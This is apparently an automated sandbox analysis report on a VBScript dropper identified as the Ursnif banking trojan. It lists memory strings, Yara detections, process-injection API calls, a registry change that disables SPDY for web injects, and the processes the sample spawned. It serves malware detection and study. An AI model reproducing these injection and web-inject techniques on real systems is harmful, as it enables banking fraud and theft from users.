Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.target.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&amp;Version=2008-06-26&amp;Operation
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://z.about.com/m/a08.ico
Source: powershell.exe, 0000001B.00000002.930160141.000001A03E57D000.00000004.00000001.sdmp String found in binary or memory: https://github.com/Pester/Pester

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000005.00000003.726757645.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727219097.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.729332046.000000000530B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727028559.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.828135151.000000000510F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727067150.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.903821312.0000000002B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.886705349.0000000000B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727201837.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.726909604.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.905558727.0000000000AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.772246941.000000000520D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1096144561.000001B4FAD4E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.913163310.0000017896F0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727174189.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.912383715.000000000009E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727239812.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3424, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4540, type: MEMORY
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5220, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5764, type: MEMORY

E-Banking Fraud:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000005.00000003.726757645.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727219097.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.729332046.000000000530B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727028559.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.828135151.000000000510F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727067150.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.903821312.0000000002B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.886705349.0000000000B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727201837.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.726909604.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.905558727.0000000000AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.772246941.000000000520D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1096144561.000001B4FAD4E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.913163310.0000017896F0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727174189.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.912383715.000000000009E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727239812.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3424, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4540, type: MEMORY
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5220, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5764, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0

System Summary:

barindex
Contains functionality to call native functions
Source: C:\Windows\explorer.exe Code function: 34_2_04DACCA0 NtReadVirtualMemory, 34_2_04DACCA0
Source: C:\Windows\explorer.exe Code function: 34_2_04DBF560 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 34_2_04DBF560
Source: C:\Windows\explorer.exe Code function: 34_2_04DBAD14 NtQuerySystemInformation, 34_2_04DBAD14
Source: C:\Windows\explorer.exe Code function: 34_2_04DBFFCC NtMapViewOfSection, 34_2_04DBFFCC
Source: C:\Windows\explorer.exe Code function: 34_2_04DCF7EC NtQueryInformationToken,NtQueryInformationToken,NtClose,NtClose, 34_2_04DCF7EC
Source: C:\Windows\explorer.exe Code function: 34_2_04DC676C RtlAllocateHeap,NtSetContextThread,NtUnmapViewOfSection,NtClose, 34_2_04DC676C
Source: C:\Windows\explorer.exe Code function: 34_2_04DB387C NtCreateSection, 34_2_04DB387C
Source: C:\Windows\explorer.exe Code function: 34_2_04DB3830 NtWriteVirtualMemory, 34_2_04DB3830
Source: C:\Windows\explorer.exe Code function: 34_2_04DB1AC4 NtQueryInformationProcess, 34_2_04DB1AC4
Source: C:\Windows\explorer.exe Code function: 34_2_04DABAB4 NtAllocateVirtualMemory, 34_2_04DABAB4
Source: C:\Windows\explorer.exe Code function: 34_2_04DE1002 NtProtectVirtualMemory,NtProtectVirtualMemory, 34_2_04DE1002
Source: C:\Windows\System32\control.exe Code function: 35_2_00073830 NtWriteVirtualMemory, 35_2_00073830
Source: C:\Windows\System32\control.exe Code function: 35_2_0007387C NtCreateSection, 35_2_0007387C
Source: C:\Windows\System32\control.exe Code function: 35_2_0006BAB4 NtAllocateVirtualMemory, 35_2_0006BAB4
Source: C:\Windows\System32\control.exe Code function: 35_2_00071AC4 NtQueryInformationProcess, 35_2_00071AC4
Source: C:\Windows\System32\control.exe Code function: 35_2_0006CCA0 NtReadVirtualMemory, 35_2_0006CCA0
Source: C:\Windows\System32\control.exe Code function: 35_2_0007F560 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 35_2_0007F560
Source: C:\Windows\System32\control.exe Code function: 35_2_0008ADD4 NtQueryInformationProcess, 35_2_0008ADD4
Source: C:\Windows\System32\control.exe Code function: 35_2_0008676C RtlAllocateHeap,NtSetContextThread,NtUnmapViewOfSection,NtClose, 35_2_0008676C
Source: C:\Windows\System32\control.exe Code function: 35_2_0007FFCC NtMapViewOfSection, 35_2_0007FFCC
Source: C:\Windows\System32\control.exe Code function: 35_2_0008F7EC NtQueryInformationToken,NtQueryInformationToken,NtClose, 35_2_0008F7EC
Source: C:\Windows\System32\control.exe Code function: 35_2_000A1002 NtProtectVirtualMemory,NtProtectVirtualMemory, 35_2_000A1002
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFF7EC NtQueryInformationToken,NtQueryInformationToken,NtClose, 37_2_0000017896EFF7EC
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE1AC4 NtQueryInformationProcess, 37_2_0000017896EE1AC4
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896F11002 NtProtectVirtualMemory,NtProtectVirtualMemory, 37_2_0000017896F11002
Detected potential crypto function
Source: C:\Windows\explorer.exe Code function: 34_2_04DCA4BC 34_2_04DCA4BC
Source: C:\Windows\explorer.exe Code function: 34_2_04DA37B8 34_2_04DA37B8
Source: C:\Windows\explorer.exe Code function: 34_2_04DCAFB8 34_2_04DCAFB8
Source: C:\Windows\explorer.exe Code function: 34_2_04DAB75C 34_2_04DAB75C
Source: C:\Windows\explorer.exe Code function: 34_2_04DBF770 34_2_04DBF770
Source: C:\Windows\explorer.exe Code function: 34_2_04DC676C 34_2_04DC676C
Source: C:\Windows\explorer.exe Code function: 34_2_04DC0034 34_2_04DC0034
Source: C:\Windows\explorer.exe Code function: 34_2_04DC91A0 34_2_04DC91A0
Source: C:\Windows\explorer.exe Code function: 34_2_04DCC164 34_2_04DCC164
Source: C:\Windows\explorer.exe Code function: 34_2_04DB9138 34_2_04DB9138
Source: C:\Windows\explorer.exe Code function: 34_2_04DAC134 34_2_04DAC134
Source: C:\Windows\explorer.exe Code function: 34_2_04DC74CC 34_2_04DC74CC
Source: C:\Windows\explorer.exe Code function: 34_2_04DB0CC0 34_2_04DB0CC0
Source: C:\Windows\explorer.exe Code function: 34_2_04DABCF8 34_2_04DABCF8
Source: C:\Windows\explorer.exe Code function: 34_2_04DB3CE0 34_2_04DB3CE0
Source: C:\Windows\explorer.exe Code function: 34_2_04DC94B8 34_2_04DC94B8
Source: C:\Windows\explorer.exe Code function: 34_2_04DB9CB0 34_2_04DB9CB0
Source: C:\Windows\explorer.exe Code function: 34_2_04DBD4A8 34_2_04DBD4A8
Source: C:\Windows\explorer.exe Code function: 34_2_04DA5474 34_2_04DA5474
Source: C:\Windows\explorer.exe Code function: 34_2_04DAD460 34_2_04DAD460
Source: C:\Windows\explorer.exe Code function: 34_2_04DB1D94 34_2_04DB1D94
Source: C:\Windows\explorer.exe Code function: 34_2_04DCB516 34_2_04DCB516
Source: C:\Windows\explorer.exe Code function: 34_2_04DA6D08 34_2_04DA6D08
Source: C:\Windows\explorer.exe Code function: 34_2_04DB452C 34_2_04DB452C
Source: C:\Windows\explorer.exe Code function: 34_2_04DBB520 34_2_04DBB520
Source: C:\Windows\explorer.exe Code function: 34_2_04DC26B4 34_2_04DC26B4
Source: C:\Windows\explorer.exe Code function: 34_2_04DCBEB0 34_2_04DCBEB0
Source: C:\Windows\explorer.exe Code function: 34_2_04DAAE04 34_2_04DAAE04
Source: C:\Windows\explorer.exe Code function: 34_2_04DA9F98 34_2_04DA9F98
Source: C:\Windows\explorer.exe Code function: 34_2_04DB17B8 34_2_04DB17B8
Source: C:\Windows\explorer.exe Code function: 34_2_04DC20F8 34_2_04DC20F8
Source: C:\Windows\explorer.exe Code function: 34_2_04DCE080 34_2_04DCE080
Source: C:\Windows\explorer.exe Code function: 34_2_04DBB040 34_2_04DBB040
Source: C:\Windows\explorer.exe Code function: 34_2_04DC6064 34_2_04DC6064
Source: C:\Windows\explorer.exe Code function: 34_2_04DA203C 34_2_04DA203C
Source: C:\Windows\explorer.exe Code function: 34_2_04DCF940 34_2_04DCF940
Source: C:\Windows\explorer.exe Code function: 34_2_04DB1174 34_2_04DB1174
Source: C:\Windows\explorer.exe Code function: 34_2_04DC3208 34_2_04DC3208
Source: C:\Windows\explorer.exe Code function: 34_2_04DC8224 34_2_04DC8224
Source: C:\Windows\explorer.exe Code function: 34_2_04DA2BC8 34_2_04DA2BC8
Source: C:\Windows\explorer.exe Code function: 34_2_04DB9380 34_2_04DB9380
Source: C:\Windows\explorer.exe Code function: 34_2_04DA8B5C 34_2_04DA8B5C
Source: C:\Windows\explorer.exe Code function: 34_2_04DB8B4C 34_2_04DB8B4C
Source: C:\Windows\explorer.exe Code function: 34_2_04DA7320 34_2_04DA7320
Source: C:\Windows\System32\control.exe Code function: 35_2_0008C164 35_2_0008C164
Source: C:\Windows\System32\control.exe Code function: 35_2_0008A4BC 35_2_0008A4BC
Source: C:\Windows\System32\control.exe Code function: 35_2_0008676C 35_2_0008676C
Source: C:\Windows\System32\control.exe Code function: 35_2_0006203C 35_2_0006203C
Source: C:\Windows\System32\control.exe Code function: 35_2_00080034 35_2_00080034
Source: C:\Windows\System32\control.exe Code function: 35_2_0007B040 35_2_0007B040
Source: C:\Windows\System32\control.exe Code function: 35_2_00086064 35_2_00086064
Source: C:\Windows\System32\control.exe Code function: 35_2_0008E080 35_2_0008E080
Source: C:\Windows\System32\control.exe Code function: 35_2_000820F8 35_2_000820F8
Source: C:\Windows\System32\control.exe Code function: 35_2_0006C134 35_2_0006C134
Source: C:\Windows\System32\control.exe Code function: 35_2_00079138 35_2_00079138
Source: C:\Windows\System32\control.exe Code function: 35_2_0008F940 35_2_0008F940
Source: C:\Windows\System32\control.exe Code function: 35_2_00071174 35_2_00071174
Source: C:\Windows\System32\control.exe Code function: 35_2_000891A0 35_2_000891A0
Source: C:\Windows\System32\control.exe Code function: 35_2_00083208 35_2_00083208
Source: C:\Windows\System32\control.exe Code function: 35_2_00088224 35_2_00088224
Source: C:\Windows\System32\control.exe Code function: 35_2_00067320 35_2_00067320
Source: C:\Windows\System32\control.exe Code function: 35_2_00078B4C 35_2_00078B4C
Source: C:\Windows\System32\control.exe Code function: 35_2_00068B5C 35_2_00068B5C
Source: C:\Windows\System32\control.exe Code function: 35_2_00079380 35_2_00079380
Source: C:\Windows\System32\control.exe Code function: 35_2_00062BC8 35_2_00062BC8
Source: C:\Windows\System32\control.exe Code function: 35_2_0006D460 35_2_0006D460
Source: C:\Windows\System32\control.exe Code function: 35_2_0007D4A8 35_2_0007D4A8
Source: C:\Windows\System32\control.exe Code function: 35_2_000894B8 35_2_000894B8
Source: C:\Windows\System32\control.exe Code function: 35_2_00079CB0 35_2_00079CB0
Source: C:\Windows\System32\control.exe Code function: 35_2_000874CC 35_2_000874CC
Source: C:\Windows\System32\control.exe Code function: 35_2_00070CC0 35_2_00070CC0
Source: C:\Windows\System32\control.exe Code function: 35_2_00073CE0 35_2_00073CE0
Source: C:\Windows\System32\control.exe Code function: 35_2_0006BCF8 35_2_0006BCF8
Source: C:\Windows\System32\control.exe Code function: 35_2_00066D08 35_2_00066D08
Source: C:\Windows\System32\control.exe Code function: 35_2_0008B516 35_2_0008B516
Source: C:\Windows\System32\control.exe Code function: 35_2_0007B520 35_2_0007B520
Source: C:\Windows\System32\control.exe Code function: 35_2_0007452C 35_2_0007452C
Source: C:\Windows\System32\control.exe Code function: 35_2_00071D94 35_2_00071D94
Source: C:\Windows\System32\control.exe Code function: 35_2_0006AE04 35_2_0006AE04
Source: C:\Windows\System32\control.exe Code function: 35_2_0008BEB0 35_2_0008BEB0
Source: C:\Windows\System32\control.exe Code function: 35_2_000826B4 35_2_000826B4
Source: C:\Windows\System32\control.exe Code function: 35_2_0006B75C 35_2_0006B75C
Source: C:\Windows\System32\control.exe Code function: 35_2_0007F770 35_2_0007F770
Source: C:\Windows\System32\control.exe Code function: 35_2_00069F98 35_2_00069F98
Source: C:\Windows\System32\control.exe Code function: 35_2_0008AFB8 35_2_0008AFB8
Source: C:\Windows\System32\control.exe Code function: 35_2_000637B8 35_2_000637B8
Source: C:\Windows\System32\control.exe Code function: 35_2_000717B8 35_2_000717B8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFC164 37_2_0000017896EFC164
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFA4BC 37_2_0000017896EFA4BC
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE1174 37_2_0000017896EE1174
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE9138 37_2_0000017896EE9138
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFF940 37_2_0000017896EFF940
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EDC134 37_2_0000017896EDC134
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF20F8 37_2_0000017896EF20F8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFE080 37_2_0000017896EFE080
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF8224 37_2_0000017896EF8224
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF3208 37_2_0000017896EF3208
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF91A0 37_2_0000017896EF91A0
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EDB75C 37_2_0000017896EDB75C
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EEF770 37_2_0000017896EEF770
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF676C 37_2_0000017896EF676C
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF26B4 37_2_0000017896EF26B4
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFBEB0 37_2_0000017896EFBEB0
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF6064 37_2_0000017896EF6064
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EEB040 37_2_0000017896EEB040
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED203C 37_2_0000017896ED203C
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF0034 37_2_0000017896EF0034
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED37B8 37_2_0000017896ED37B8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE17B8 37_2_0000017896EE17B8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFAFB8 37_2_0000017896EFAFB8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED9F98 37_2_0000017896ED9F98
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EEB520 37_2_0000017896EEB520
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE452C 37_2_0000017896EE452C
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EDBCF8 37_2_0000017896EDBCF8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EFB516 37_2_0000017896EFB516
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED6D08 37_2_0000017896ED6D08
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE3CE0 37_2_0000017896EE3CE0
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE0CC0 37_2_0000017896EE0CC0
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF94B8 37_2_0000017896EF94B8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EF74CC 37_2_0000017896EF74CC
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE9CB0 37_2_0000017896EE9CB0
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EED4A8 37_2_0000017896EED4A8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EDAE04 37_2_0000017896EDAE04
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE1D94 37_2_0000017896EE1D94
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED8B5C 37_2_0000017896ED8B5C
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE8B4C 37_2_0000017896EE8B4C
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED7320 37_2_0000017896ED7320
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EDD460 37_2_0000017896EDD460
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896ED2BC8 37_2_0000017896ED2BC8
Source: C:\Windows\System32\rundll32.exe Code function: 37_2_0000017896EE9380 37_2_0000017896EE9380
Java / VBScript file with very long strings (likely obfuscated code)
Source: 1qdMIsgkbwxA.vbs Initial sample: Strings found which are bigger than 50
PE file does not import any functions
Source: 5ya1ligq.dll.30.dr Static PE information: No import functions for PE file found
Source: zyvn03im.dll.32.dr Static PE information: No import functions for PE file found
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.spyw.evad.winVBS@31/51@8/2
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{E7E9714D-2D9D-11EB-90EB-ECF4BBEA1588}.dat Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{3AA90121-51A7-7CB8-AB0E-15700F2219A4}
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{12BB91A7-499F-1420-6366-8D8847FA113C}
Source: C:\Windows\System32\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{9ACD08EB-31C0-DC3B-8B6E-F5D0EF82F904}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:120:WilError_01
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\adobe.url Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\1qdMIsgkbwxA.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\1qdMIsgkbwxA.vbs'
Source: unknown Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
